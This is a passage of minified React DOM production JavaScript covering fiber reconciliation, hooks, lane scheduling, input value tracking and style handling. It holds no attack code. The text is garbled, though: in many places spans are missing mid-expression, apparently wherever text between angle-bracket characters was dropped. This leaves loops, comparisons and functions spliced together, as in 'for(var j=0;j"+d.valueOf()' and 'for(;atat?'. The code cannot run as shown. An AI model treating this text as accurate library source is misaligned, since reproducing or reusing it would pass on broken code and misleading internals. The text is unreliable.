L:return"Fragment";case O:return"Portal";case D:return"Profiler";case R:return"StrictMode";case fe:return"Suspense";case xe:return"SuspenseList"}if(typeof l=="object")switch(l.$$typeof){case Z:return(l.displayName||"Context")+".Consumer";case z:return(l._context.displayName||"Context")+".Provider";case ne:var d=l.render;return l=l.displayName,l||(l=d.displayName||d.name||"",l=l!==""?"ForwardRef("+l+")":"ForwardRef"),l;case $:return d=l.displayName||null,d!==null?d:V(l.type)||"Memo";case H:d=l._payload,l=l._init;try{return V(l(d))}catch{}}return null}function re(l){var d=l.type;switch(l.tag){case 24:return"Cache";case 9:return(d.displayName||"Context")+".Consumer";case 10:return(d._context.displayName||"Context")+".Provider";case 18:return"DehydratedFragment";case 11:return l=d.render,l=l.displayName||l.name||"",d.displayName||(l!==""?"ForwardRef("+l+")":"ForwardRef");case 7:return"Fragment";case 5:return d;case 4:return"Portal";case 3:return"Root";case 6:return"Text";case 16:return V(d);case 8:return d===R?"StrictMode":"Mode";case 22:return"Offscreen";case 12:return"Profiler";case 21:return"Scope";case 13:return"Suspense";case 19:return"SuspenseList";case 25:return"TracingMarker";case 1:case 0:case 17:case 2:case 14:case 15:if(typeof d=="function")return d.displayName||d.name||null;if(typeof d=="string")return d}return null}function ue(l){switch(typeof l){case"boolean":case"number":case"string":case"undefined":return l;case"object":return l;default:return""}}function ce(l){var d=l.type;return(l=l.nodeName)&&l.toLowerCase()==="input"&&(d==="checkbox"||d==="radio")}function ye(l){var d=ce(l)?"checked":"value",p=Object.getOwnPropertyDescriptor(l.constructor.prototype,d),x=""+l[d];if(!l.hasOwnProperty(d)&&typeof p<"u"&&typeof p.get=="function"&&typeof p.set=="function"){var j=p.get,S=p.set;return Object.defineProperty(l,d,{configurable:!0,get:function(){return j.call(this)},set:function(A){x=""+A,S.call(this,A)}}),Object.defineProperty(l,d,{enumerable:p.enumerable}),{getValue:function(){return x},setValue:function(A){x=""+A},stopTracking:function(){l._valueTracker=null,delete l[d]}}}}function Re(l){l._valueTracker||(l._valueTracker=ye(l))}function Le(l){if(!l)return!1;var d=l._valueTracker;if(!d)return!0;var p=d.getValue(),x="";return l&&(x=ce(l)?l.checked?"true":"false":l.value),l=x,l!==p?(d.setValue(l),!0):!1}function lt(l){if(l=l||(typeof document<"u"?document:void 0),typeof l>"u")return null;try{return l.activeElement||l.body}catch{return l.body}}function Tt(l,d){var p=d.checked;return B({},d,{defaultChecked:void 0,defaultValue:void 0,value:void 0,checked:p??l._wrapperState.initialChecked})}function ln(l,d){var p=d.defaultValue==null?"":d.defaultValue,x=d.checked!=null?d.checked:d.defaultChecked;p=ue(d.value!=null?d.value:p),l._wrapperState={initialChecked:x,initialValue:p,controlled:d.type==="checkbox"||d.type==="radio"?d.checked!=null:d.value!=null}}function yt(l,d){d=d.checked,d!=null&&E(l,"checked",d,!1)}function nn(l,d){yt(l,d);var p=ue(d.value),x=d.type;if(p!=null)x==="number"?(p===0&&l.value===""||l.value!=p)&&(l.value=""+p):l.value!==""+p&&(l.value=""+p);else if(x==="submit"||x==="reset"){l.removeAttribute("value");return}d.hasOwnProperty("value")?Mt(l,d.type,p):d.hasOwnProperty("defaultValue")&&Mt(l,d.type,ue(d.defaultValue)),d.checked==null&&d.defaultChecked!=null&&(l.defaultChecked=!!d.defaultChecked)}function In(l,d,p){if(d.hasOwnProperty("value")||d.hasOwnProperty("defaultValue")){var x=d.type;if(!(x!=="submit"&&x!=="reset"||d.value!==void 0&&d.value!==null))return;d=""+l._wrapperState.initialValue,p||d===l.value||(l.value=d),l.defaultValue=d}p=l.name,p!==""&&(l.name=""),l.defaultChecked=!!l._wrapperState.initialChecked,p!==""&&(l.name=p)}function Mt(l,d,p){(d!=="number"||lt(l.ownerDocument)!==l)&&(p==null?l.defaultValue=""+l._wrapperState.initialValue:l.defaultValue!==""+p&&(l.defaultValue=""+p))}var Yt=Array.isArray;function rn(l,d,p,x){if(l=l.options,d){d={};for(var j=0;j"+d.valueOf().toString()+"",d=Je.firstChild;l.firstChild;)l.removeChild(l.firstChild);for(;d.firstChild;)l.appendChild(d.firstChild)}});function ct(l,d){if(d){var p=l.firstChild;if(p&&p===l.lastChild&&p.nodeType===3){p.nodeValue=d;return}}l.textContent=d}var nt={animationIterationCount:!0,aspectRatio:!0,borderImageOutset:!0,borderImageSlice:!0,borderImageWidth:!0,boxFlex:!0,boxFlexGroup:!0,boxOrdinalGroup:!0,columnCount:!0,columns:!0,flex:!0,flexGrow:!0,flexPositive:!0,flexShrink:!0,flexNegative:!0,flexOrder:!0,gridArea:!0,gridRow:!0,gridRowEnd:!0,gridRowSpan:!0,gridRowStart:!0,gridColumn:!0,gridColumnEnd:!0,gridColumnSpan:!0,gridColumnStart:!0,fontWeight:!0,lineClamp:!0,lineHeight:!0,opacity:!0,order:!0,orphans:!0,tabSize:!0,widows:!0,zIndex:!0,zoom:!0,fillOpacity:!0,floodOpacity:!0,stopOpacity:!0,strokeDasharray:!0,strokeDashoffset:!0,strokeMiterlimit:!0,strokeOpacity:!0,strokeWidth:!0},gt=["Webkit","ms","Moz","O"];Object.keys(nt).forEach(function(l){gt.forEach(function(d){d=d+l.charAt(0).toUpperCase()+l.substring(1),nt[d]=nt[l]})});function Rt(l,d,p){return d==null||typeof d=="boolean"||d===""?"":p||typeof d!="number"||d===0||nt.hasOwnProperty(l)&&nt[l]?(""+d).trim():d+"px"}function gn(l,d){l=l.style;for(var p in d)if(d.hasOwnProperty(p)){var x=p.indexOf("--")===0,j=Rt(p,d[p],x);p==="float"&&(p="cssFloat"),x?l.setProperty(p,j):l[p]=j}}var mr=B({menuitem:!0},{area:!0,base:!0,br:!0,col:!0,embed:!0,hr:!0,img:!0,input:!0,keygen:!0,link:!0,meta:!0,param:!0,source:!0,track:!0,wbr:!0});function wr(l,d){if(d){if(mr[l]&&(d.children!=null||d.dangerouslySetInnerHTML!=null))throw Error(n(137,l));if(d.dangerouslySetInnerHTML!=null){if(d.children!=null)throw Error(n(60));if(typeof d.dangerouslySetInnerHTML!="object"||!("__html"in d.dangerouslySetInnerHTML))throw Error(n(61))}if(d.style!=null&&typeof d.style!="object")throw Error(n(62))}}function As(l,d){if(l.indexOf("-")===-1)return typeof d.is=="string";switch(l){case"annotation-xml":case"color-profile":case"font-face":case"font-face-src":case"font-face-uri":case"font-face-format":case"font-face-name":case"missing-glyph":return!1;default:return!0}}var Wr=null;function Is(l){return l=l.target||l.srcElement||window,l.correspondingUseElement&&(l=l.correspondingUseElement),l.nodeType===3?l.parentNode:l}var pe=null,ge=null,Pt=null;function On(l){if(l=cc(l)){if(typeof pe!="function")throw Error(n(280));var d=l.stateNode;d&&(d=$d(d),pe(l.stateNode,l.type,d))}}function Qs(l){ge?Pt?Pt.push(l):Pt=[l]:ge=l}function Xs(){if(ge){var l=ge,d=Pt;if(Pt=ge=null,On(l),d)for(l=0;l>>=0,l===0?32:31-(Nn(l)/gr|0)|0}var Qt=64,Un=4194304;function ps(l){switch(l&-l){case 1:return 1;case 2:return 2;case 4:return 4;case 8:return 8;case 16:return 16;case 32:return 32;case 64:case 128:case 256:case 512:case 1024:case 2048:case 4096:case 8192:case 16384:case 32768:case 65536:case 131072:case 262144:case 524288:case 1048576:case 2097152:return l&4194240;case 4194304:case 8388608:case 16777216:case 33554432:case 67108864:return l&130023424;case 134217728:return 134217728;case 268435456:return 268435456;case 536870912:return 536870912;case 1073741824:return 1073741824;default:return l}}function Os(l,d){var p=l.pendingLanes;if(p===0)return 0;var x=0,j=l.suspendedLanes,S=l.pingedLanes,A=p&268435455;if(A!==0){var F=A&~j;F!==0?x=ps(F):(S&=A,S!==0&&(x=ps(S)))}else A=p&~j,A!==0?x=ps(A):S!==0&&(x=ps(S));if(x===0)return 0;if(d!==0&&d!==x&&(d&j)===0&&(j=x&-x,S=d&-d,j>=S||j===16&&(S&4194240)!==0))return d;if((x&4)!==0&&(x|=p&16),d=l.entangledLanes,d!==0)for(l=l.entanglements,d&=x;0p;p++)d.push(l);return d}function zi(l,d,p){l.pendingLanes|=d,d!==536870912&&(l.suspendedLanes=0,l.pingedLanes=0),l=l.eventTimes,d=31-Ge(d),l[d]=p}function kd(l,d){var p=l.pendingLanes&~d;l.pendingLanes=d,l.suspendedLanes=0,l.pingedLanes=0,l.expiredLanes&=d,l.mutableReadLanes&=d,l.entangledLanes&=d,d=l.entanglements;var x=l.eventTimes;for(l=l.expirationTimes;0=ec),hy=" ",fy=!1;function py(l,d){switch(l){case"keyup":return p3.indexOf(d.keyCode)!==-1;case"keydown":return d.keyCode!==229;case"keypress":case"mousedown":case"focusout":return!0;default:return!1}}function my(l){return l=l.detail,typeof l=="object"&&"data"in l?l.data:null}var _o=!1;function g3(l,d){switch(l){case"compositionend":return my(d);case"keypress":return d.which!==32?null:(fy=!0,hy);case"textInput":return l=d.data,l===hy&&fy?null:l;default:return null}}function x3(l,d){if(_o)return l==="compositionend"||!ep&&py(l,d)?(l=iy(),Td=Gf=Da=null,_o=!1,l):null;switch(l){case"paste":return null;case"keypress":if(!(d.ctrlKey||d.altKey||d.metaKey)||d.ctrlKey&&d.altKey){if(d.char&&1=d)return{node:p,offset:d-l};l=x}e:{for(;p;){if(p.nextSibling){p=p.nextSibling;break e}p=p.parentNode}p=void 0}p=wy(p)}}function ky(l,d){return l&&d?l===d?!0:l&&l.nodeType===3?!1:d&&d.nodeType===3?ky(l,d.parentNode):"contains"in l?l.contains(d):l.compareDocumentPosition?!!(l.compareDocumentPosition(d)&16):!1:!1}function Sy(){for(var l=window,d=lt();d instanceof l.HTMLIFrameElement;){try{var p=typeof d.contentWindow.location.href=="string"}catch{p=!1}if(p)l=d.contentWindow;else break;d=lt(l.document)}return d}function rp(l){var d=l&&l.nodeName&&l.nodeName.toLowerCase();return d&&(d==="input"&&(l.type==="text"||l.type==="search"||l.type==="tel"||l.type==="url"||l.type==="password")||d==="textarea"||l.contentEditable==="true")}function C3(l){var d=Sy(),p=l.focusedElem,x=l.selectionRange;if(d!==p&&p&&p.ownerDocument&&ky(p.ownerDocument.documentElement,p)){if(x!==null&&rp(p)){if(d=x.start,l=x.end,l===void 0&&(l=d),"selectionStart"in p)p.selectionStart=d,p.selectionEnd=Math.min(l,p.value.length);else if(l=(d=p.ownerDocument||document)&&d.defaultView||window,l.getSelection){l=l.getSelection();var j=p.textContent.length,S=Math.min(x.start,j);x=x.end===void 0?S:Math.min(x.end,j),!l.extend&&S>x&&(j=x,x=S,S=j),j=jy(p,S);var A=jy(p,x);j&&A&&(l.rangeCount!==1||l.anchorNode!==j.node||l.anchorOffset!==j.offset||l.focusNode!==A.node||l.focusOffset!==A.offset)&&(d=d.createRange(),d.setStart(j.node,j.offset),l.removeAllRanges(),S>x?(l.addRange(d),l.extend(A.node,A.offset)):(d.setEnd(A.node,A.offset),l.addRange(d)))}}for(d=[],l=p;l=l.parentNode;)l.nodeType===1&&d.push({element:l,left:l.scrollLeft,top:l.scrollTop});for(typeof p.focus=="function"&&p.focus(),p=0;p=document.documentMode,zo=null,sp=null,sc=null,ap=!1;function Cy(l,d,p){var x=p.window===p?p.document:p.nodeType===9?p:p.ownerDocument;ap||zo==null||zo!==lt(x)||(x=zo,"selectionStart"in x&&rp(x)?x={start:x.selectionStart,end:x.selectionEnd}:(x=(x.ownerDocument&&x.ownerDocument.defaultView||window).getSelection(),x={anchorNode:x.anchorNode,anchorOffset:x.anchorOffset,focusNode:x.focusNode,focusOffset:x.focusOffset}),sc&&rc(sc,x)||(sc=x,x=Ld(sp,"onSelect"),0Ho||(l.current=xp[Ho],xp[Ho]=null,Ho--)}function Vt(l,d){Ho++,xp[Ho]=l.current,l.current=d}var $a={},tr=za($a),jr=za(!1),Vi=$a;function Wo(l,d){var p=l.type.contextTypes;if(!p)return $a;var x=l.stateNode;if(x&&x.__reactInternalMemoizedUnmaskedChildContext===d)return x.__reactInternalMemoizedMaskedChildContext;var j={},S;for(S in p)j[S]=d[S];return x&&(l=l.stateNode,l.__reactInternalMemoizedUnmaskedChildContext=d,l.__reactInternalMemoizedMaskedChildContext=j),j}function kr(l){return l=l.childContextTypes,l!=null}function Fd(){Gt(jr),Gt(tr)}function By(l,d,p){if(tr.current!==$a)throw Error(n(168));Vt(tr,d),Vt(jr,p)}function Vy(l,d,p){var x=l.stateNode;if(d=d.childContextTypes,typeof x.getChildContext!="function")return p;x=x.getChildContext();for(var j in x)if(!(j in d))throw Error(n(108,re(l)||"Unknown",j));return B({},p,x)}function Bd(l){return l=(l=l.stateNode)&&l.__reactInternalMemoizedMergedChildContext||$a,Vi=tr.current,Vt(tr,l),Vt(jr,jr.current),!0}function Hy(l,d,p){var x=l.stateNode;if(!x)throw Error(n(169));p?(l=Vy(l,d,Vi),x.__reactInternalMemoizedMergedChildContext=l,Gt(jr),Gt(tr),Vt(tr,l)):Gt(jr),Vt(jr,p)}var sa=null,Vd=!1,yp=!1;function Wy(l){sa===null?sa=[l]:sa.push(l)}function z3(l){Vd=!0,Wy(l)}function Fa(){if(!yp&&sa!==null){yp=!0;var l=0,d=Nt;try{var p=sa;for(Nt=1;l>=A,j-=A,aa=1<<32-Ge(d)+j|p<at?($n=tt,tt=null):$n=tt.sibling;var wt=we(ae,tt,de[at],Ae);if(wt===null){tt===null&&(tt=$n);break}l&&tt&&wt.alternate===null&&d(ae,tt),ee=S(wt,ee,at),et===null?He=wt:et.sibling=wt,et=wt,tt=$n}if(at===de.length)return p(ae,tt),Xt&&Wi(ae,at),He;if(tt===null){for(;atat?($n=tt,tt=null):$n=tt.sibling;var Ja=we(ae,tt,wt.value,Ae);if(Ja===null){tt===null&&(tt=$n);break}l&&tt&&Ja.alternate===null&&d(ae,tt),ee=S(Ja,ee,at),et===null?He=Ja:et.sibling=Ja,et=Ja,tt=$n}if(wt.done)return p(ae,tt),Xt&&Wi(ae,at),He;if(tt===null){for(;!wt.done;at++,wt=de.next())wt=Se(ae,wt.value,Ae),wt!==null&&(ee=S(wt,ee,at),et===null?He=wt:et.sibling=wt,et=wt);return Xt&&Wi(ae,at),He}for(tt=x(ae,tt);!wt.done;at++,wt=de.next())wt=Oe(tt,ae,at,wt.value,Ae),wt!==null&&(l&&wt.alternate!==null&&tt.delete(wt.key===null?at:wt.key),ee=S(wt,ee,at),et===null?He=wt:et.sibling=wt,et=wt);return l&&tt.forEach(function(yE){return d(ae,yE)}),Xt&&Wi(ae,at),He}function yn(ae,ee,de,Ae){if(typeof de=="object"&&de!==null&&de.type===L&&de.key===null&&(de=de.props.children),typeof de=="object"&&de!==null){switch(de.$$typeof){case I:e:{for(var He=de.key,et=ee;et!==null;){if(et.key===He){if(He=de.type,He===L){if(et.tag===7){p(ae,et.sibling),ee=j(et,de.props.children),ee.return=ae,ae=ee;break e}}else if(et.elementType===He||typeof He=="object"&&He!==null&&He.$$typeof===H&&Yy(He)===et.type){p(ae,et.sibling),ee=j(et,de.props),ee.ref=dc(ae,et,de),ee.return=ae,ae=ee;break e}p(ae,et);break}else d(ae,et);et=et.sibling}de.type===L?(ee=Xi(de.props.children,ae.mode,Ae,de.key),ee.return=ae,ae=ee):(Ae=gu(de.type,de.key,de.props,null,ae.mode,Ae),Ae.ref=dc(ae,ee,de),Ae.return=ae,ae=Ae)}return A(ae);case O:e:{for(et=de.key;ee!==null;){if(ee.key===et)if(ee.tag===4&&ee.stateNode.containerInfo===de.containerInfo&&ee.stateNode.implementation===de.implementation){p(ae,ee.sibling),ee=j(ee,de.children||[]),ee.return=ae,ae=ee;break e}else{p(ae,ee);break}else d(ae,ee);ee=ee.sibling}ee=mm(de,ae.mode,Ae),ee.return=ae,ae=ee}return A(ae);case H:return et=de._init,yn(ae,ee,et(de._payload),Ae)}if(Yt(de))return ze(ae,ee,de,Ae);if(q(de))return Be(ae,ee,de,Ae);Kd(ae,de)}return typeof de=="string"&&de!==""||typeof de=="number"?(de=""+de,ee!==null&&ee.tag===6?(p(ae,ee.sibling),ee=j(ee,de),ee.return=ae,ae=ee):(p(ae,ee),ee=pm(de,ae.mode,Ae),ee.return=ae,ae=ee),A(ae)):p(ae,ee)}return yn}var Go=Qy(!0),Xy=Qy(!1),qd=za(null),Gd=null,Jo=null,kp=null;function Sp(){kp=Jo=Gd=null}function Cp(l){var d=qd.current;Gt(qd),l._currentValue=d}function Ep(l,d,p){for(;l!==null;){var x=l.alternate;if((l.childLanes&d)!==d?(l.childLanes|=d,x!==null&&(x.childLanes|=d)):x!==null&&(x.childLanes&d)!==d&&(x.childLanes|=d),l===p)break;l=l.return}}function Yo(l,d){Gd=l,kp=Jo=null,l=l.dependencies,l!==null&&l.firstContext!==null&&((l.lanes&d)!==0&&(Sr=!0),l.firstContext=null)}function Xr(l){var d=l._currentValue;if(kp!==l)if(l={context:l,memoizedValue:d,next:null},Jo===null){if(Gd===null)throw Error(n(308));Jo=l,Gd.dependencies={lanes:0,firstContext:l}}else Jo=Jo.next=l;return d}var Ui=null;function Tp(l){Ui===null?Ui=[l]:Ui.push(l)}function Zy(l,d,p,x){var j=d.interleaved;return j===null?(p.next=p,Tp(d)):(p.next=j.next,j.next=p),d.interleaved=p,oa(l,x)}function oa(l,d){l.lanes|=d;var p=l.alternate;for(p!==null&&(p.lanes|=d),p=l,l=l.return;l!==null;)l.childLanes|=d,p=l.alternate,p!==null&&(p.childLanes|=d),p=l,l=l.return;return p.tag===3?p.stateNode:null}var Ba=!1;function Mp(l){l.updateQueue={baseState:l.memoizedState,firstBaseUpdate:null,lastBaseUpdate:null,shared:{pending:null,interleaved:null,lanes:0},effects:null}}function eb(l,d){l=l.updateQueue,d.updateQueue===l&&(d.updateQueue={baseState:l.baseState,firstBaseUpdate:l.firstBaseUpdate,lastBaseUpdate:l.lastBaseUpdate,shared:l.shared,effects:l.effects})}function la(l,d){return{eventTime:l,lane:d,tag:0,payload:null,callback:null,next:null}}function Va(l,d,p){var x=l.updateQueue;if(x===null)return null;if(x=x.shared,(bt&2)!==0){var j=x.pending;return j===null?d.next=d:(d.next=j.next,j.next=d),x.pending=d,oa(l,p)}return j=x.interleaved,j===null?(d.next=d,Tp(x)):(d.next=j.next,j.next=d),x.interleaved=d,oa(l,p)}function Jd(l,d,p){if(d=d.updateQueue,d!==null&&(d=d.shared,(p&4194240)!==0)){var x=d.lanes;x&=l.pendingLanes,p|=x,d.lanes=p,$i(l,p)}}function tb(l,d){var p=l.updateQueue,x=l.alternate;if(x!==null&&(x=x.updateQueue,p===x)){var j=null,S=null;if(p=p.firstBaseUpdate,p!==null){do{var A={eventTime:p.eventTime,lane:p.lane,tag:p.tag,payload:p.payload,callback:p.callback,next:null};S===null?j=S=A:S=S.next=A,p=p.next}while(p!==null);S===null?j=S=d:S=S.next=d}else j=S=d;p={baseState:x.baseState,firstBaseUpdate:j,lastBaseUpdate:S,shared:x.shared,effects:x.effects},l.updateQueue=p;return}l=p.lastBaseUpdate,l===null?p.firstBaseUpdate=d:l.next=d,p.lastBaseUpdate=d}function Yd(l,d,p,x){var j=l.updateQueue;Ba=!1;var S=j.firstBaseUpdate,A=j.lastBaseUpdate,F=j.shared.pending;if(F!==null){j.shared.pending=null;var G=F,he=G.next;G.next=null,A===null?S=he:A.next=he,A=G;var je=l.alternate;je!==null&&(je=je.updateQueue,F=je.lastBaseUpdate,F!==A&&(F===null?je.firstBaseUpdate=he:F.next=he,je.lastBaseUpdate=G))}if(S!==null){var Se=j.baseState;A=0,je=he=G=null,F=S;do{var we=F.lane,Oe=F.eventTime;if((x&we)===we){je!==null&&(je=je.next={eventTime:Oe,lane:0,tag:F.tag,payload:F.payload,callback:F.callback,next:null});e:{var ze=l,Be=F;switch(we=d,Oe=p,Be.tag){case 1:if(ze=Be.payload,typeof ze=="function"){Se=ze.call(Oe,Se,we);break e}Se=ze;break e;case 3:ze.flags=ze.flags&-65537|128;case 0:if(ze=Be.payload,we=typeof ze=="function"?ze.call(Oe,Se,we):ze,we==null)break e;Se=B({},Se,we);break e;case 2:Ba=!0}}F.callback!==null&&F.lane!==0&&(l.flags|=64,we=j.effects,we===null?j.effects=[F]:we.push(F))}else Oe={eventTime:Oe,lane:we,tag:F.tag,payload:F.payload,callback:F.callback,next:null},je===null?(he=je=Oe,G=Se):je=je.next=Oe,A|=we;if(F=F.next,F===null){if(F=j.shared.pending,F===null)break;we=F,F=we.next,we.next=null,j.lastBaseUpdate=we,j.shared.pending=null}}while(!0);if(je===null&&(G=Se),j.baseState=G,j.firstBaseUpdate=he,j.lastBaseUpdate=je,d=j.shared.interleaved,d!==null){j=d;do A|=j.lane,j=j.next;while(j!==d)}else S===null&&(j.shared.lanes=0);Gi|=A,l.lanes=A,l.memoizedState=Se}}function nb(l,d,p){if(l=d.effects,d.effects=null,l!==null)for(d=0;dp?p:4,l(!0);var x=Op.transition;Op.transition={};try{l(!1),d()}finally{Nt=p,Op.transition=x}}function Nb(){return Zr().memoizedState}function V3(l,d,p){var x=Ka(l);if(p={lane:x,action:p,hasEagerState:!1,eagerState:null,next:null},wb(l))jb(d,p);else if(p=Zy(l,d,p,x),p!==null){var j=yr();Ns(p,l,x,j),kb(p,d,x)}}function H3(l,d,p){var x=Ka(l),j={lane:x,action:p,hasEagerState:!1,eagerState:null,next:null};if(wb(l))jb(d,j);else{var S=l.alternate;if(l.lanes===0&&(S===null||S.lanes===0)&&(S=d.lastRenderedReducer,S!==null))try{var A=d.lastRenderedState,F=S(A,p);if(j.hasEagerState=!0,j.eagerState=F,gs(F,A)){var G=d.interleaved;G===null?(j.next=j,Tp(d)):(j.next=G.next,G.next=j),d.interleaved=j;return}}catch{}finally{}p=Zy(l,d,j,x),p!==null&&(j=yr(),Ns(p,l,x,j),kb(p,d,x))}}function wb(l){var d=l.alternate;return l===an||d!==null&&d===an}function jb(l,d){pc=Zd=!0;var p=l.pending;p===null?d.next=d:(d.next=p.next,p.next=d),l.pending=d}function kb(l,d,p){if((p&4194240)!==0){var x=d.lanes;x&=l.pendingLanes,p|=x,d.lanes=p,$i(l,p)}}var nu={readContext:Xr,useCallback:nr,useContext:nr,useEffect:nr,useImperativeHandle:nr,useInsertionEffect:nr,useLayoutEffect:nr,useMemo:nr,useReducer:nr,useRef:nr,useState:nr,useDebugValue:nr,useDeferredValue:nr,useTransition:nr,useMutableSource:nr,useSyncExternalStore:nr,useId:nr,unstable_isNewReconciler:!1},W3={readContext:Xr,useCallback:function(l,d){return _s().memoizedState=[l,d===void 0?null:d],l},useContext:Xr,useEffect:fb,useImperativeHandle:function(l,d,p){return p=p!=null?p.concat([l]):null,eu(4194308,4,gb.bind(null,d,l),p)},useLayoutEffect:function(l,d){return eu(4194308,4,l,d)},useInsertionEffect:function(l,d){return eu(4,2,l,d)},useMemo:function(l,d){var p=_s();return d=d===void 0?null:d,l=l(),p.memoizedState=[l,d],l},useReducer:function(l,d,p){var x=_s();return d=p!==void 0?p(d):d,x.memoizedState=x.baseState=d,l={pending:null,interleaved:null,lanes:0,dispatch:null,lastRenderedReducer:l,lastRenderedState:d},x.queue=l,l=l.dispatch=V3.bind(null,an,l),[x.memoizedState,l]},useRef:function(l){var d=_s();return l={current:l},d.memoizedState=l},useState:ub,useDebugValue:Bp,useDeferredValue:function(l){return _s().memoizedState=l},useTransition:function(){var l=ub(!1),d=l[0];return l=B3.bind(null,l[1]),_s().memoizedState=l,[d,l]},useMutableSource:function(){},useSyncExternalStore:function(l,d,p){var x=an,j=_s();if(Xt){if(p===void 0)throw Error(n(407));p=p()}else{if(p=d(),zn===null)throw Error(n(349));(qi&30)!==0||ib(x,d,p)}j.memoizedState=p;var S={value:p,getSnapshot:d};return j.queue=S,fb(lb.bind(null,x,S,l),[l]),x.flags|=2048,xc(9,ob.bind(null,x,S,p,d),void 0,null),p},useId:function(){var l=_s(),d=zn.identifierPrefix;if(Xt){var p=ia,x=aa;p=(x&~(1<<32-Ge(x)-1)).toString(32)+p,d=":"+d+"R"+p,p=mc++,0<\/script>",l=l.removeChild(l.firstChild)):typeof x.is=="string"?l=A.createElement(p,{is:x.is}):(l=A.createElement(p),p==="select"&&(A=l,x.multiple?A.multiple=!0:x.size&&(A.size=x.size))):l=A.createElementNS(l,p),l[Ds]=d,l[lc]=x,Wb(l,d,!1,!1),d.stateNode=l;e:{switch(A=As(p,x),p){case"dialog":qt("cancel",l),qt("close",l),j=x;break;case"iframe":case"object":case"embed":qt("load",l),j=x;break;case"video":case"audio":for(j=0;jtl&&(d.flags|=128,x=!0,yc(S,!1),d.lanes=4194304)}else{if(!x)if(l=Qd(A),l!==null){if(d.flags|=128,x=!0,p=l.updateQueue,p!==null&&(d.updateQueue=p,d.flags|=4),yc(S,!0),S.tail===null&&S.tailMode==="hidden"&&!A.alternate&&!Xt)return rr(d),null}else 2*Ot()-S.renderingStartTime>tl&&p!==1073741824&&(d.flags|=128,x=!0,yc(S,!1),d.lanes=4194304);S.isBackwards?(A.sibling=d.child,d.child=A):(p=S.last,p!==null?p.sibling=A:d.child=A,S.last=A)}return S.tail!==null?(d=S.tail,S.rendering=d,S.tail=d.sibling,S.renderingStartTime=Ot(),d.sibling=null,p=sn.current,Vt(sn,x?p&1|2:p&1),d):(rr(d),null);case 22:case 23:return um(),x=d.memoizedState!==null,l!==null&&l.memoizedState!==null!==x&&(d.flags|=8192),x&&(d.mode&1)!==0?(Lr&1073741824)!==0&&(rr(d),d.subtreeFlags&6&&(d.flags|=8192)):rr(d),null;case 24:return null;case 25:return null}throw Error(n(156,d.tag))}function X3(l,d){switch(vp(d),d.tag){case 1:return kr(d.type)&&Fd(),l=d.flags,l&65536?(d.flags=l&-65537|128,d):null;case 3:return Qo(),Gt(jr),Gt(tr),Pp(),l=d.flags,(l&65536)!==0&&(l&128)===0?(d.flags=l&-65537|128,d):null;case 5:return Ip(d),null;case 13:if(Gt(sn),l=d.memoizedState,l!==null&&l.dehydrated!==null){if(d.alternate===null)throw Error(n(340));qo()}return l=d.flags,l&65536?(d.flags=l&-65537|128,d):null;case 19:return Gt(sn),null;case 4:return Qo(),null;case 10:return Cp(d.type._context),null;case 22:case 23:return um(),null;case 24:return null;default:return null}}var iu=!1,sr=!1,Z3=typeof WeakSet=="function"?WeakSet:Set,_e=null;function Zo(l,d){var p=l.ref;if(p!==null)if(typeof p=="function")try{p(null)}catch(x){dn(l,d,x)}else p.current=null}function Zp(l,d,p){try{p()}catch(x){dn(l,d,x)}}var qb=!1;function eE(l,d){if(up=Cd,l=Sy(),rp(l)){if("selectionStart"in l)var p={start:l.selectionStart,end:l.selectionEnd};else e:{p=(p=l.ownerDocument)&&p.defaultView||window;var x=p.getSelection&&p.getSelection();if(x&&x.rangeCount!==0){p=x.anchorNode;var j=x.anchorOffset,S=x.focusNode;x=x.focusOffset;try{p.nodeType,S.nodeType}catch{p=null;break e}var A=0,F=-1,G=-1,he=0,je=0,Se=l,we=null;t:for(;;){for(var Oe;Se!==p||j!==0&&Se.nodeType!==3||(F=A+j),Se!==S||x!==0&&Se.nodeType!==3||(G=A+x),Se.nodeType===3&&(A+=Se.nodeValue.length),(Oe=Se.firstChild)!==null;)we=Se,Se=Oe;for(;;){if(Se===l)break t;if(we===p&&++he===j&&(F=A),we===S&&++je===x&&(G=A),(Oe=Se.nextSibling)!==null)break;Se=we,we=Se.parentNode}Se=Oe}p=F===-1||G===-1?null:{start:F,end:G}}else p=null}p=p||{start:0,end:0}}else p=null;for(hp={focusedElem:l,selectionRange:p},Cd=!1,_e=d;_e!==null;)if(d=_e,l=d.child,(d.subtreeFlags&1028)!==0&&l!==null)l.return=d,_e=l;else for(;_e!==null;){d=_e;try{var ze=d.alternate;if((d.flags&1024)!==0)switch(d.tag){case 0:case 11:case 15:break;case 1:if(ze!==null){var Be=ze.memoizedProps,yn=ze.memoizedState,ae=d.stateNode,ee=ae.getSnapshotBeforeUpdate(d.elementType===d.type?Be:ys(d.type,Be),yn);ae.__reactInternalSnapshotBeforeUpdate=ee}break;case 3:var de=d.stateNode.containerInfo;de.nodeType===1?de.textContent="":de.nodeType===9&&de.documentElement&&de.removeChild(de.documentElement);break;case 5:case 6:case 4:case 17:break;default:throw Error(n(163))}}catch(Ae){dn(d,d.return,Ae)}if(l=d.sibling,l!==null){l.return=d.return,_e=l;break}_e=d.return}return ze=qb,qb=!1,ze}function bc(l,d,p){var x=d.updateQueue;if(x=x!==null?x.lastEffect:null,x!==null){var j=x=x.next;do{if((j.tag&l)===l){var S=j.destroy;j.destroy=void 0,S!==void 0&&Zp(d,p,S)}j=j.next}while(j!==x)}}function ou(l,d){if(d=d.updateQueue,d=d!==null?d.lastEffect:null,d!==null){var p=d=d.next;do{if((p.tag&l)===l){var x=p.create;p.destroy=x()}p=p.next}while(p!==d)}}function em(l){var d=l.ref;if(d!==null){var p=l.stateNode;switch(l.tag){case 5:l=p;break;default:l=p}typeof d=="function"?d(l):d.current=l}}function Gb(l){var d=l.alternate;d!==null&&(l.alternate=null,Gb(d)),l.child=null,l.deletions=null,l.sibling=null,l.tag===5&&(d=l.stateNode,d!==null&&(delete d[Ds],delete d[lc],delete d[gp],delete d[L3],delete d[_3])),l.stateNode=null,l.return=null,l.dependencies=null,l.memoizedProps=null,l.memoizedState=null,l.pendingProps=null,l.stateNode=null,l.updateQueue=null}function Jb(l){return l.tag===5||l.tag===3||l.tag===4}function Yb(l){e:for(;;){for(;l.sibling===null;){if(l.return===null||Jb(l.return))return null;l=l.return}for(l.sibling.return=l.return,l=l.sibling;l.tag!==5&&l.tag!==6&&l.tag!==18;){if(l.flags&2||l.child===null||l.tag===4)continue e;l.child.return=l,l=l.child}if(!(l.flags&2))return l.stateNode}}function tm(l,d,p){var 